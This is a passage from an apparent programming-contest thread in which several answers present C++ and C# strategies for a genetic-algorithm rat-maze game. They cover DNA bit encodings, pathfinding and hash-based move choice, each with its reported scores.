closedSet.count(neighbour); if (closedSet.count(neighbour) != 0){ continue; } int neighbourScore = m(neighbour); if (neighbourScore == m.Blocked){ continue; } int tentativeScore = current->gScore + neighbourScore; openSet.set(neighbour, current->pos, tentativeScore, coordMinSetDistance(neighbour, ends)); } delete current; } return{ { -1, 0 }, INT_MAX }; //Try to end it } coord_t myPlayer(dna_t d, view_t v) { auto ourMap = ColorMap(d, &v); std::set<coord_t> edges; for (coord_t edge = { VIEW_DIST, -1 * VIEW_DIST }; edge.y <= VIEW_DIST; edge.y++){ edges.insert(edge); } //Move to the neighbor closest to a square on the right auto result = pathCost(ourMap, { 0, 0 }, edges); auto minMove = result.first; return minMove; } int main() { slog << "Geometric mean score: " << runsimulation(myPlayer) << std::endl; } ``` [Answer] # The FITTEST - Geometric mean score: ~ 922 (2K runs) My approach is to: 1. Find out what kills the species and **define desired behaviour** (functional) 2. **Implement** desired behaviour in code (technical) 3. Give it a **priority**. Is it more important or less important than other desired behaviour. 4. **Optimize** the Geometric mean score by tweaking parameters of the solutions. I tested over 2000 sets of parameters with the same 50 seeds. The most promising sets were selected and were scored using 250 identical seeds and the ones with the highest rank were the input for the next round of test. So I managed to **create a genetic algorithm to find the optimal genetic algorithm** for this problem as suggested by [user mbomb007](https://codegolf.stackexchange.com/users/34718). # The desired behaviour: 1. The species should learn **which colours are safe** and which are bad. 2. The species should mainly focus its decision where to move to based on the 3 cells right in front, but **if no good moves are available, vertical or backward moves** should be considered 3. The species should also **look what is beyond** the 8 cells around him and use that in information in decision making 4. The species should learn to **identify traps**. 5. Some species incorrectly assume that walls are good and try to move to them all the time and therefore get stuck in front of walls. If they are the species with the highest fittest score at that moment **their DNA with the wrong assumption about the wall is duplicated many times into newborns**. After some time all species are stuck in front of walls and none of them reaches the goal to score points. How to stop the morons? # Data storage methods: We want the species to learn things, to adapt to its environment, to become the fittest. Inevitably this only works, if learning's can be stored somehow. The learning will be 'stored' in the 100 DNA bits. It is a strange way of storing, because we can not *change* the value of our DNA. So we *assume* that the DNA already stores information of bad and good moves. If for a certain species the correct information is stored in its DNA he will move fast forward and produce many new species with its DNA. I found out the geometric mean score is sensitive to how the information is stored. Lets assume we read the first 4 bits of the 100 bits of DNA and want to store this in an integer variable. We can do this in several ways: 1. **decimal data storage:** by using the 'built-in' `dnarange` function, example: 4bits `1011` will become `1x2^3 + 0x2^2 + 1x2^1 + 1x2^0 = 15. Possible values (for 4 bits): [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15] 2. **streaks data storage:** by using the `dnaStreakRange` function (defined below), example: 4bits 1011 will become `1x1 + 0x1 + 1x1+ 1x2 = 4`. Possible values (for 4 bits): [0, 1, 2, 3, 6, 10] ``` int dnaStreakRange(dna_t &d, int start, int chunklen) { int score = 0; int streak = 0; for(int i = 0; i < chunklen; i++) { if(d[start + i]) score += ++streak; else streak = 0; }; return score; } ``` 3. **bitsum data storage:** by using the `dnaCountRange` function (defined below), example: 4bits 1011 will become `1x1 + 0x1 + 1x1 + 1x1 = 3`. Possible values (for 4 bits): [0, 1, 2, 3, 4] ``` int dnaCountRange(dna_t &d, int start, int chunklen) { int score = 0; for(int i = 0; i < chunklen; i++) { if(d[start + i]) score ++; }; return score; } ``` Difference between storage methods are: * The decimal storage method is **vulnerable for a single bit change** to the DNA. When the bitsum value changes from 1011 to 0011 its value changes from 3 to 2 which is a minor change. * **The decimal storage method is homogeneous**. Each of the possible values has the same change to occur. The chance that you read the value of 15 from a 4 bit storage memory block is 1/16=6%. The **streak storage method is not homogeneous**. The chance that a streak 4 bit value is less or equal that 6 is (15-3)/16=81% (all 16 combinations except 0111,1110,111). Below a visual which shows the shape of the distribution. As you can see at the blue arrow the chance of a 4 bit streak to be less or equal to 6 is 81%: ![visualization of the distribution of decimal , streak and bitsum storage types for 4,5 and 6 bit long binary numbers](https://i.stack.imgur.com/MKp6U.jpg) # Prioritize solutions. When the ColorScorePlayer has identified two forward moves with identical scores an arbitrary choice is made. IMHO, **you should never use the random function `v.rng.rint()` function**. Instead you should use this opportunity of equal scores as a hook to evaluate solutions for second order effects. First order effect get the highest priority. If equal scores are reaches, the solution with the priority 2 prevails and so on. By tweaking the parameters of a solution you can influence the chance that equal scores occur and in that way change weight of priority 1 and priority 2 solutions. # Implementation of desired behaviour **Learn which colours are safe:** * 33% of the 16 colors are bad and therefore when the score of a move is below 63/3 the move will not be allowed. Therefore `threshold = 63/3=21`, where 63 is the max score for 6 bits and 33%=1/3 (can be looked up in the graph above). **If no good moves are available, move vertical or backward:** * When no forward moves are allowed, vertical moves will be compared with each other in the same way. If also no vertical moves are allowed, the backward moves are ranked. This is achieved via the `weightMove` variable. **Look what is beyond:** * When 2 or 3 moves have identical scores, the 3x3 box around those moves will determine (via `x2` and `y2` loops) what is the best option (via the `mainSubScore` variable). The most right column in that 3x3 box is leading. ``` coord_t adjustedColorPlayer(dna_t d, view_t v) { const int chunklen = 6,threshold = 63/3; int xBestScore=0, yBestScore=0; long bestScore=-1, weightMove, weightMove2, mainScore; for(int x = -1; x <= 1; x++) { if (x < 0) weightMove = 1000; // moving backward if (x== 0) weightMove = 10000; //moving vertical if (x > 0) weightMove = 100000; //moving forward for(int y = -1; y <= 1; y++) { if(v(x, y) == OUT_OF_BOUNDS || (x==0&&y==0) ) continue; mainScore = dnarange(d,v(x,y)*chunklen,chunklen); if (mainScore<threshold+1) { mainScore = 0; //not a suitable move because too low score }else{ mainScore*= weightMove; // when equal score, use sub score by examining 5x5 box to rank moves for(int x2 = x-1; x2 <= x+1; x2++){ if (x2 < x) weightMove2 = 1; // moving backward if (x2== x) weightMove2 = 10; //moving vertical if (x2 > x) weightMove2 = 100; //moving forward for(int y2 = x-1; y2 <= y+1; y2++){ if(v(x2, y2) != OUT_OF_BOUNDS){ long mainSubScore = dnarange(d,v(x2,y2)*chunklen,chunklen); if (mainSubScore>=threshold+1) mainScore+=mainSubScore*weightMove2; } } } } if(mainScore > bestScore) { bestScore = mainScore; xBestScore = x; yBestScore = y; } } } return{xBestScore,yBestScore}; } ``` > > Score: 123(2K runs) > > > First 50 Scores (18 games have scored only 1 point): > > > 1 10 1 79947 3 1 11 125 7333287 23701 310869 53744 1 2 2 2 2 1 1 57556 2 688438 60 1 2 2636261 26306 1 125369 1 1 1 61895 27 1 36 1 91100 87636 1 2 47497 53 16 1 11 222384 1 1 1 > > > **Identify traps:** I examined the DNA of the species with the highest score when an arbitrary game ended using the a bitsum4 storage (so colour score has range [0,4]): * scored 0: Teleport backward, both walls, 1x safe * scored 1: Trap backward (so harmless), Teleport backward, 1x safe * scored 2: Trap forward (so dangerous), 1x safe * scored 3: Teleport forward, 5x safe * scored 4: Teleport forward, 1x safe From this it can be concluded that walls and teleports get a correct score. Traps are not identified since they are depending on direction and on color of origin, while scoring is done on color of destination. Therefore there is a need for also storing data on the color of origin, so `v(0,0)`. In an ideal world we would like to store information for 16 colors x 8 directions x 3 bits = 384 bits. Unfortunately, there is only 100 bits available and we can not use it all since we also need some memory for the solution explained above. Therefore we will make 4 colour bins: * 0: colour 0 - colour 3, * 1: colour 4 - colour 7, * 2: colour 8 - colour 11, * 3: colour 12 - colour 16 and 4 move direction bins * 0: move vertical or backward, * 1: move forward up, * 2: move forward, * 3: move forward down When the decimal score is 4 or higher (100,101,110,111), it is assumed a trap is associated with this cell, as a result this move will not be picked when equal scores arise. So trap identification is a second order effect and the 'look what's beyond' will be a third priority solution. ``` int dnaLookup2(dna_t &d, int start, int chunklen, int storageMethod) { // Definition of storageMethod: 0=decimal, 1=streak, 2=bitsum int score = 0, streak = 0; for(int i = start; i < start+chunklen; i++) { int value = d[i]; if (storageMethod==0) { score = (score << 1) |value; }else{ if (storageMethod==1){ if(value) score += ++streak; else streak = 0; }else{ if(value) score ++; } } }; return score; } coord_t theTrapFighter(dna_t d, view_t v) { // Definition of storageMethod: 0=decimal, 1=streak, 2=bitsum const int colorMemStorageMethod = 1, colorMemBlockSize = 3; const int trapMemStorageMethod = 0, trapMemBlockSize = 3; const int trapMemTopThreshold = 4, nDirBins = 4, nColorBins = 4; int xBestScore=0, yBestScore=0; long bestScore=-1, weightMove, weightMove2, mainScore; for(int x = -1; x <= 1; x++) { if (x < 0) weightMove = 1000; // moving backward if (x== 0) weightMove = 10000; //moving vertical if (x > 0) weightMove = 100000; //moving forward for(int y = -1; y <= 1; y++) { int color = v(x, y); if(color == OUT_OF_BOUNDS || (x==0&&y==0) ) continue; mainScore = dnaLookup2(d,color*colorMemBlockSize, colorMemBlockSize,colorMemStorageMethod); if (mainScore==0) { //not a suitable move because too low score }else{ mainScore*= weightMove; //lookup trap likelihood int directionBin = 0; if (nDirBins==3) directionBin = x>0?y+1:-1; if (nDirBins==4) directionBin = x>0?y+2:0; // put 16 colors in nColorBins bins int colorBin = v(0,0)*nColorBins/N_COLORS; colorBin = colorBin>(nColorBins-1)?(nColorBins-1):colorBin; if (directionBin >= 0 && dnaLookup2( d, colorMemBlockSize*16 +trapMemBlockSize*(nColorBins*directionBin+colorBin), trapMemBlockSize, trapMemStorageMethod ) >=trapMemTopThreshold){ //suspect a trap therefore no sub score is added }else{ // when equal score, use sub score by examining 5x5 box to rank moves for(int x2 = x-1; x2 <= x+1; x2++){ if (x2 < x) weightMove2 = 1; // moving backward if (x2== x) weightMove2 = 10; //moving vertical if (x2 > x) weightMove2 = 100; //moving forward for(int y2 = x-1; y2 <= y+1; y2++){ int color2 = v(x2, y2); if(color2 != OUT_OF_BOUNDS){ mainScore+=weightMove2 * dnaLookup2(d,color2*colorMemBlockSize, colorMemBlockSize,colorMemStorageMethod); } } } } } if(mainScore > bestScore) { bestScore = mainScore; xBestScore = x; yBestScore = y; } } } return{xBestScore,yBestScore}; } ``` > > Score: 580 (2K runs) > > > First 50 Scores (13 games have scored only 1 point): > > > 28,044 14,189 1 2,265,670 2,275,942 3 122,769 109,183 401,366 61,643 205,949 47,563 138,680 1 107,199 85,666 31 2 29 1 89,519 22 100,908 14,794 1 3,198,300 21,601 14 3,405,278 1 1 1 2 74,167 1 71,242 97,331 201,080 1 1 102 94,444 2,734 82,948 1 4 19,906 1 1 255,159 > > > **Wrong assumption about the wall is duplicated many times into newborns by morons:** Some species incorrectly assume that walls are good and try to move to them all the time and therefore get stuck in front of walls. They can also get stuck in infinite loops of teleporters. The effect is the same in both cases. The main problem is that after a few hundred iterations **some genes get very dominant**. If these are the 'right' genes, you can get very high scores (>1 million points). If these are wrong, you are stuck, since you need the diversity to find the 'right' genes. **Morons fighting: Solution 1: colour inversion** The first solution I tried was an effort to utilize a part of unused memory which is still very diverse. Lets assume you have allocated 84 bits to your colour memory and trap finding memory. The remaining 16 bits will be very diverse. We can fill 2 decimal8 variables which have values on the interval [0,255] and they are homogeneous, which means that each value has a chance of 1/256. The variables will be called `inInverse` and `inReverse`. If `inInverse` equals 255 (a 1/256 chance), then we will **inverse the interpretation of the colour scores**. So the wall which the moron assume to be safe because of it is high score, will get a low score and therefore will become a bad move. The disadvantage is that this will also effect the 'rights' genes, so we will have less very high scores. Furthermore this `inInverse` species will have to reproduce itself and its children will also get parts of the dominant DNA. The most important part is that it brings back the diversity. If `inReverse` equals 255 (a 1/256 chance), then we will **reverse the order of the storage positions of the colour scores**. So before colour 0 was stored in bits 0-3. Now colour 15 will be stored in that position. The difference with the `inInverse` approach is that the `inReverse` will undo the work done so far. We are back at square one. We have created a species which has similar genes as when the game started (except for the trap finding memory) Via optimization it is tested if it is wise to use the `inInverse` and `inReverse` at the same time. After the optimization it was concluded the score did not increase. The problem is that we have more diverse gen population, but this also affects the 'right DNA'. **We need another solution.** **Morons fighting: Solution 2: hash code** The species has 15 possible starting position and currently there is a too large chance he will follow exactly the same path if he starts at the same starting position. If he is a moron who loves walls, he will get stuck on the same wall over and over again. If he by luck managed to reach a far ahead wall, he will start to dominate the DNA pool with his wrong assumptions. What we need is that his offspring will follow a slightly different path (since for him it is too late anyway), and **will not get stuck on the far ahead wall, but on a more nearby wall**. This can be achieved by introducing a *hashcode*. A *hashcode* should have the purpose to uniquely identify and label the current position on the board. The purpose is not to find out what the (x,y) position is, but to answer the questions **have my ancestors been before on this location?** Let's assume you would have the complete board in front of you and you would make a jpg of each 5 by 5 cell possible square. You would end up with (53-5)x(15-5)=380 images. Let's give those images numbers from 1 to 380. Our *hashcode* should be seen as such an ID, with that different that it does not run from 1 to 330, but has missing IDS, so e.g. 563, 3424, 9424, 21245, etc. ``` unsigned long hashCode=17; for(int x = -2; x <= 2; x++) { for(int y = -2; y <= 2; y++) { int color = v(x, y)+2; hashCode = hashCode*31+color; } } ``` The prime numbers `17` and `31` are in there to prevent the information added in the beginning in the loop to disappear. Later more on how to integrate our *hashcode* into the rest of the program. Lets replace the "look what's beyond" subscoring mechanism with another subscoring mechanism. When two or three cells have equal main scores there will be a 50% chance the top one will be picked, a 50% chance that the bottom cells is picked and a 0% chance that the middle one will be picked. **The chance will not be determined by the random generator, but by bits from the memory**, since in that way we make sure that in the same situation the same choice is made. In an ideal world (where we have an infinite amount of memory), we would calculate a unique *hashcode* for our current situation, e.g. 25881, and go to memory location 25881 and read there if we should pick the top or bottom cell (when there is an equal score). In that way we would be in the exact same situation (when we e.g. travel the board for the second time and start at the same position) make the same decisions. **Since we do not have infinite memory we will apply a modulo** of the size of the available memory to the *hashcode*. The current *hashcode* is good in the sense that the distribution after the modulo operation is homogeneous. When offspring travels the same board with slightly changed DNA he will in most cases (>99%) make exactly the same decision. But the further he comes the larger the chance becomes that his path fill be different from his ancestors. So the chance that he will get stuck on this far ahead wall is small. While getting stuck on the same nearby wall as his ancestor is relatively large, but this is not so bad, since he will not generate much offspring. **Without the *hashcode approach*, the chance of getting stuck on the nearby and far away wall is almost the same** # Optimization After the optimization, it was concluded that the trap identification table is not needed and 2 bits per color is sufficient. The remainder of the memory 100-2x16=68 bits is used to store the hash code. It seems that the **hash code mechanism is able to avoid traps.** I have optimized for 15 parameters. This code included the best set of tweaked parameters (so far): ``` int dnaLookup(dna_t &d, int start, int chunklen, int storageMethod,int inInverse) { // Definition of storageMethod: 0=decimal, 1=streak, 2=bitsum int score = 0; int streak = 0; for(int i = start; i < start+chunklen; i++) { int value = d[i]; if (inInverse) value = (1-d[i]); if (storageMethod==0) { score = (score << 1) |value; }else{ if (storageMethod==1){ if(value) score += ++streak; else streak = 0; }else{ if(value) score ++; } } }; return score; } coord_t theFittest(dna_t d, view_t v) { // Definition of storageMethod: 0=decimal, 1=streak, 2=bitsum const int colorMemStorageMethod = 2, colorMemBlockSize = 2, colorMemZeroThreshold = 0; const int useTrapMem = 0, trapMemStorageMethod = -1, trapMemBlockSize = -1; const int trapMemTopThreshold = -1, nDirBins = -1, nColorBins = -1; const int reorderMemStorageMethod = -1, reorderMemReverseThreshold = -1; const int reorderMemInverseThreshold = -1; // Definition of hashPrority: -1: no hash, 0:hash when 'look beyond' scores equal, // 1: hash replaces 'look beyond', 2: hash replaces 'trap finder' and 'look beyond' // 3: hash replaces everything ('color finder', 'trap finder' and 'look beyond') const int hashPrority = 2; int inReverse = reorderMemReverseThreshold != -1 && (dnaLookup(d,92,8,reorderMemStorageMethod,0) >= reorderMemReverseThreshold); int inInverse = reorderMemInverseThreshold != -1 && (dnaLookup(d,84,8,reorderMemStorageMethod,0) >= reorderMemInverseThreshold); int trapMemStart=N_COLORS*colorMemBlockSize; unsigned long hashCode=17; int moveUp=0; if (hashPrority>0){ for(int x = -2; x <= 2; x++) { for(int y = -2; y <= 2; y++) { int color = v(x, y)+2; hashCode = hashCode*31+color; } } unsigned long hashMemStart=N_COLORS*colorMemBlockSize; if (useTrapMem==1 && hashPrority<=1) hashMemStart+=nDirBins*nColorBins*trapMemBlockSize; if (hashPrority==3) hashMemStart=0; int hashMemPos = hashCode % (DNA_BITS-hashMemStart); moveUp = dnaLookup(d,hashMemStart+hashMemPos,1,0,inInverse); } int xBestScore=0, yBestScore=0; long bestScore=-1, weightMove, weightMove2, mainScore; for(int x = -1; x <= 1; x++) { if (x < 0) weightMove = 1000; // moving backward if (x== 0) weightMove = 10000; //moving vertical if (x > 0) weightMove = 100000; //moving forward for(int y = -1; y <= 1; y++) { int color = v(x, y); if (inReverse) color = 15-v(x, y); if(color == OUT_OF_BOUNDS || (x==0&&y==0) ) continue; //when MoveUp=1 -> give move with highest y most points (hashScore=highest) //when MoveUp=0 -> give move with lowest y most points (hashScore=lowest) int hashScore = (y+2)*(2*moveUp-1)+4; mainScore = dnaLookup( d, color*colorMemBlockSize, colorMemBlockSize, colorMemStorageMethod, inInverse ); if (mainScore<colorMemZeroThreshold+1) { mainScore = 0; //not a suitable move because too low score }else{ mainScore*= weightMove; //lookup trap likelihood int directionBin = 0; if (nDirBins==3) directionBin = x>0?y+1:-1; if (nDirBins==4) directionBin = x>0?y+2:0; // put 16 colors in nColorBins bins int colorBin = v(0,0)*nColorBins/N_COLORS; if (inReverse) colorBin = (15-v(0,0))*nColorBins/N_COLORS; colorBin = colorBin>(nColorBins-1)?(nColorBins-1):colorBin; if (useTrapMem && directionBin >= 0 && dnaLookup( d, trapMemStart+trapMemBlockSize*(nColorBins*directionBin+colorBin), trapMemBlockSize, trapMemStorageMethod, 0 )>=trapMemTopThreshold){ //suspect a trap therefore no sub score is added }else{ if (hashPrority>=1){ mainScore+=hashScore; } else{ // when equal score, use sub score by examining 5x5 box to rank moves for(int x2 = x-1; x2 <= x+1; x2++){ if (x2 < x) weightMove2 = 1; // moving backward if (x2== x) weightMove2 = 10; //moving vertical if (x2 > x) weightMove2 = 100; //moving forward for(int y2 = x-1; y2 <= y+1; y2++){ int color2 = v(x2, y2); if (inReverse) color2 = 15-v(x2, y2); if(color2 != OUT_OF_BOUNDS){ long mainSubScore = dnaLookup( d, color2*colorMemBlockSize, colorMemBlockSize, colorMemStorageMethod, inInverse ); if (mainSubScore>=colorMemZeroThreshold+1){ mainScore+=mainSubScore*weightMove2; } } } } } } } if (hashPrority==2 || (useTrapMem<=0 && hashPrority>=1)) mainScore+=hashScore*10; if (hashPrority==3) mainScore=hashScore*weightMove; if(mainScore > bestScore) { bestScore = mainScore; xBestScore = x; yBestScore = y; } } } return{xBestScore,yBestScore}; } ``` > > Score: 922 (2K runs) > > > First 50 Scores (9 games have scored only 1 point): > > > 112,747 3 1 1,876,965 8 57 214,921 218,707 2,512,937 114,389 336,941 1 6,915 2 219,471 74,289 31 116 133,162 1 5 633,066 166,473 515,204 1 86,744 17,360 2 190,697 1 6 122 126,399 399,045 1 4,172,168 1 169,119 4,990 77,432 236,669 3 30,542 1 6 2,398,027 5 1 2 8 > > > This is my very first C++ program. I have as most of you now background in gnome analysis. I want to thank the organizers, since I really enjoyed working on this. If you have any feedback, please leave a comment below. Apologies for the long texts. [Answer] # Pathfinder, C++, preliminary score 35.8504 (50 rounds) A complete overhaul! I ported my algorithm to C++ and tweaked it a bit, but the score is still not very high, probably because the rats keep banging their heads into walls. I'm tired of trying to improve this, so I'll just let it be for now. ``` int dnarange(dna_t &d, int start, int len) { int res = 0; for(int i = start; i < start+len; i++) { res = (res << 1) | d[i]; } return res; } int dnasum(dna_t &d, int start, int len) { int res = 0; for(int i = start; i < start+len; i++) { res += d[i]; } return res; } int dnaweight(dna_t &d, int start) { return d[start] + d[start+1] + 2*d[start+2] + 2*d[start+3] + 3*d[start+4]; } int trap_d [16] = {1,0,1,1,0,1,-1,1,-1,0,-1,-1,0,-1,1,-1}; //immutable int nhood [10] = {1,0,1,1,1,-1,0,1,0,-1}; //immutable coord_t pathfinder(dna_t d, view_t v) { int is_trap[16] = {0}; int pos_or_weight[16] = {0}; int u_weight = dnaweight(d, 80); for (int i = 0; i < 16; i++) { int status = dnarange(d, 5*i, 2); if (status == 1) { is_trap[i] = 1; pos_or_weight[i] = dnarange(d, 5*i + 2, 3); } else { pos_or_weight[i] = dnaweight(d, 5*i); } } int w_area[7][4] = {0}; for (int j = 0; j < 7; j++) { w_area[j][3] = u_weight; } for (int i = 0; i < 3; i++) { w_area[0][i] = u_weight; w_area[6][i] = u_weight; } int d_coeff = dnaweight(d, 85); for (int i = 0; i < 3; i++) { for (int j = 1; j < 6; j++) { int p_or_w, color = v(i, j-3); if (color != OUT_OF_BOUNDS) { p_or_w = pos_or_weight[color]; } else { p_or_w = 1000; } if (color != OUT_OF_BOUNDS && is_trap[color] && i+trap_d[2*p_or_w] >= 0) { w_area[j + trap_d[2*p_or_w + 1]][i + trap_d[2*p_or_w]] += d_coeff; } else { w_area[j][i] += p_or_w; } } } for (int i = 3; i >= 0; i--) { for (int j = 0; j < 7; j++) { int min_w = 1000; for (int k = std::max(0, j-1); k <= std::min(6, j+1); k++) { min_w = std::min(min_w, w_area[k][i + 1]); } w_area[j][i] += min_w; } } int speed = dnasum(d, 90, 5); w_area[2][0] += 2 + speed; w_area[4][0] += 2 + speed; int goal = dnaweight(d, 95); int min_w = 10000; int sec_w = 10000; int min_x, min_y, sec_x, sec_y, w; for (int i = 0; i < 5; i++) { w = w_area[nhood[2*i + 1] + 3][nhood[2*i]]; if (w < min_w) { sec_w = min_w; sec_x = min_x; sec_y = min_y; min_w = w; min_x = nhood[2*i]; min_y = nhood[2*i + 1]; } else if (w < sec_w) { sec_w = w; sec_x = nhood[2*i]; sec_y = nhood[2*i + 1]; } } if (min_w > goal) { int r = v.rng.rint(5); return {nhood[2*r], nhood[2*r+1]}; } else if (sec_w <= goal && v.rng.rint(100) < 2*speed) { return {sec_x, sec_y}; } return {min_x, min_y}; } ``` ## Explanation The general idea is to classify each color as either a trap or not, then assign directions to traps and weights to non-traps, and try to follow the minimum-weight path to the right border of the vision grid. In the first 80 bits of the genome, each color is classified using 5 bits `abcde`. If `ab = 01`, the color is a trap, and `cde` encodes its direction (eight possibilities). If `ab ≠ 01`, the color is not a trap, and its weight is `a + b + 2*(c + d + e)`. Next, we initialize a 3x7 grid, which represents the rat's vision field to its right, padded with "unknown" colors. The bits 80-84 encode the weight of the unknown cells similarly to the non-trap colors, and the bits 85-89 encode a common weight for the traps. We fill the grid with the weights, compute the shortest paths, and add some extra weight (encoded in the bits 90-95) to the cells directly above and below the rat to discourage sidestepping. The bits 95-99 encode a *goal weight*. If the minimum weight of a path is below it, the rat is probably stuck somewhere, and proceeds to move randomly (but never backtracks). Otherwise, it follows the minimum weight path. With a small probability depending on the sidestep-preventing weight, the rat chooses the second-to-minimum weight path instead. This is to prevent getting stuck to walls (but it seems not to work very well right now). [Answer] # LookAheadPlayer C++ ≈ 89.904 My original thought was to look for 4 bits which match the color that I was looking for, and using the following few bits as a score. This turned out to be a terrible idea, likely because of mutations. So I thought about ways of protecting against mutations and crossovers, and it reminded me on work that I have done on QR code decoding. In QR codes the data is split into blocks and striped to avoid errors from destroying too much of a given portion of data. Therefore, like the ColorScorePlayer, I cut the DNA into 16 chunks and use those as the given score. However, the scores are striped so that the individual bits of each score are non-adjacent. I then sum the score of both the current possible moves and the next potential moves and choose the best move to make. Note: this was coded/tested on MinGW. It would not compile with optimizations, or with multithreading. I don't have an actual Linux install or Visual Studio handy to use a compiler where these will work. I'm going to be testing it quickly tomorrow morning, but please let me know if you run into any issues. ``` // get striped color score, 6 bits per color. should be // resistant to getting erased by a crossover void mapColorsBitwise(dna_t &d, int* color_array) { for (int i=0; i<N_COLORS; i++) { int score = 0; for (int j=0; j<6; j++) { score = (score<<1) | d[ j*N_COLORS + i ]; } color_array[i] = score; } } // label for the lookup tables enum direction_lut { UP_RIGHT=0, RIGHT, DOWN_RIGHT }; // movement coord_t's to correspond to a direction static const coord_t direction_lut[3] = { { 1, -1 }, { 1, 0 }, { 1, 1 } }; // indexes into the arrays to denote what should be summed // for each direction. static const int sum_lut[3][6] = { { 3, 4, 8, 8, 9, 14 }, { 9, 13, 13, 14, 14, 19 }, { 14, 18, 18, 19, 23, 24 } }; coord_t lookAheadPlayer(dna_t d, view_t v) { int scoreArray[25] = { 0 }; int colorScores[N_COLORS] = { }; // Get color mapping for this iteration mapColorsBitwise(d, colorScores); for (int y=-2; y<=2; y++) { for (int x=0; x<=2; x++) { // Get the scores for our whole field of view color_t color = v(x,y); if (color != OUT_OF_BOUNDS) scoreArray[ (x+2)+((y+2)*5) ] += colorScores[color]; } } // get the best move by summing all of the array indices for a particular // direction int best = RIGHT; int bestScore = 0; for (int dir=UP_RIGHT; dir<=DOWN_RIGHT; dir++) { if (v(direction_lut[dir].x, direction_lut[dir].y) == OUT_OF_BOUNDS) continue; int score = 0; for (int i=0; i<6; i++) { score += scoreArray[ sum_lut[dir][i] ]; } if (score > bestScore) { bestScore = score; best = dir; } } return direction_lut[best]; } ``` [Answer] # SlowAndSteady C++ (score 9.7) We cannot rely on interpreting chunks of the genome as numbers because a single bit-flip can have radically different effects dependent on its position. Thats why i simply use 16 6-bit segments and score them on the number of `1`s. Initially `111111` was good and `000000` was bad, and while it doesnt matter in the long term (once the genome is fully evolved) in the initial configuration of the DNA most of the segments have 2-4 ones, so i switched to using `9 - (#1 - 3)^2` for scoring, this allows for much more freedom of movement in the first rounds and faster evolution. Right now i only look at the 7 nearest neighbours, add a direction bias to the colour score and move in one of the highest directions at random. Although the score itself isnt very high, my critters reach the finish line and score > 1 in 3/4 of cases. ``` coord_t SlowAndSteadyPlayer(dna_t d, view_t v) { const int chunklen = 6; int color_scores[16] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}; for(int i=0; i<16; i++){ //count ones for(int j=0; j<chunklen; j++){ color_scores[i] += d[i*chunklen + j]; } } int moves[7][2] = { {-1,1}, {0,1}, {1,1}, {1,0}, {-1,-1},{1,-1},{-1,-1} }; int movescores[7]; int smax = -1; int nmax = 0; int best_moves[7]; for(int m=0; m<7; m++){ //compute the score for each move int temp_color = v(moves[m][0], moves[m][1]); if(temp_color == OUT_OF_BOUNDS){ movescores[m] = 0; continue; } int dir_bias[3] = {1,3,6}; int temp_score = 9-(color_scores[temp_color]-3)*(color_scores[temp_color]-3) + dir_bias[moves[m][0]+1]; movescores[m] = temp_score; if(temp_score > smax) { smax = temp_score; nmax = 0; } if(temp_score == smax) best_moves[nmax++] = m; } int best_chosen = v.rng.rint(nmax); return {moves[best_moves[best_chosen]][0], moves[best_moves[best_chosen]][1]}; } ``` And a sample scoring on 100 boards ``` Scores: 5 4 13028 1 1 101 2 24 1 21 1 4 2 44 1 1 24 8 2 5 1 13 10 71 2 19528 6 1 69 74587 1 1 3 138 8 4 1 1 17 23 1 2 2 50 7 7 710 6 231 1 4 3 263 4 1 6 7 20 24 11 1 25 1 63 14 1 2 2 1 27 9 7 1 7 31 20 2 17 8 176 3 1 10 13 3 142 1 9 768 64 6837 49 1 9 3 15 32 10 42 8 ``` Geometric mean score: 9.76557 [Answer] # WeightChooser | C# | Scores: 220.8262 in 1520 Games Calculates the weight for the possible next move(blue) based on the average weight of the possible followed moves(yellow) ![](https://i.stack.imgur.com/1PoxG.png) ``` using ppcggacscontroller; using System.Linq; using System; public class WeightChooser { public static ppcggacscontroller.Program.Coord[] cspcoords = new[] { new Program.Coord(1, -1), new Program.Coord(1, 0), new Program.Coord(1, 1), }; const int dnaBits = 4; public static void move(GameLogic.IView v, GameLogic.IGenome g, Random rnd, out int ox, out int oy) { var gcrds = cspcoords.Where(c => viewVal(v, c) > -1) .OrderByDescending(p => getBitsSet(g, viewVal(v, p))) .ThenByDescending(gt => weight(v, g, gt)); Program.Coord nextMove = gcrds.First(); ox = nextMove.x; oy = nextMove.y; } private static uint getBitsSet(GameLogic.IGenome g, int vVal) { uint i = g.cutOutInt(dnaBits * vVal, dnaBits); i = i - ((i >> 1) & 0x55555555); i = (i & 0x33333333) + ((i >> 2) & 0x33333333); return (((i + (i >> 4)) & 0x0F0F0F0F) * 0x01010101) >> 24; } private static int viewVal(GameLogic.IView v, Program.Coord c) { return v[c.x, c.y]; } private static double weight(GameLogic.IView v, GameLogic.IGenome g, Program.Coord toGo) { double w = 0; int y = (toGo.y + v.yd) - 1; int i = 0; for (; i <= 2; i++) { int field = v[toGo.x + 1, (y + i) - v.yd]; if (field > -1) w += getBitsSet(g, field); } return w / i; } } ``` --- ``` Scores: 32, 56103, 1361, 3351446, 33027, 23618, 22481, 1172713, 1, 3, 1, 1, 1, 2 88584, 106357, 1, 1232, 1, 1651280, 16690, 1, 1, 23732, 207554, 53, 69424, 1, 1, 79361, 1, 1, 51813, 229624, 25099, 2, 1, 234239, 362531, 1, 1, 19, 7295, 1, 7, 2, 196672, 1654208, 73453, 1, 23082, 1, 8, 5, 1685018, 4, 20, 1, 1, 1, 1, 1, 144 671, 122309, 10, 94752, 100895, 1, 54787, 54315, 252911, 79277, 1159, 241927, 94 347, 1, 318372, 37793, 1, 1, 1345310, 18934, 169700, 1, 1, 3, 186740, 83018, 121 758, 1, 358, 1935741, 88, 1, 1, 1, 1, 7, 21, 51144, 2, 1, 267638, 1, 1, 3, 1, 1, 1, 1, 674080, 47211, 8879, 7, 222766, 67214, 2, 89, 21038, 178463, 92846, 3, 14 0836, 1, 1, 111927, 1, 92165, 1, 192394, 1, 1, 2563722, 1, 42648, 1, 16, 1, 1, 2 85665, 1, 212653, 1, 4, 20513, 3, 135118, 13161, 2, 57, 78355, 3, 3, 44674, 8, 1 , 226472, 1, 1, 31588, 19619, 1, 2931870, 60814, 1, 1, 33867, 60740, 20558, 1, 1 5, 3, 5, 1, 1, 1, 60737, 450636, 468362, 1, 1, 347193, 91248, 551642, 1, 427215, 1, 57859, 17, 15, 66577, 24192, 1, 63560, 6568, 40279, 68216, 23098, 180732, 1, 1, 3041253, 1, 253488, 60535, 1, 1, 150838, 7361, 72855, 290699, 104644, 1, 763 01, 378, 1, 89220, 1, 262257, 2, 2, 1, 117, 105478, 33, 1, 65210, 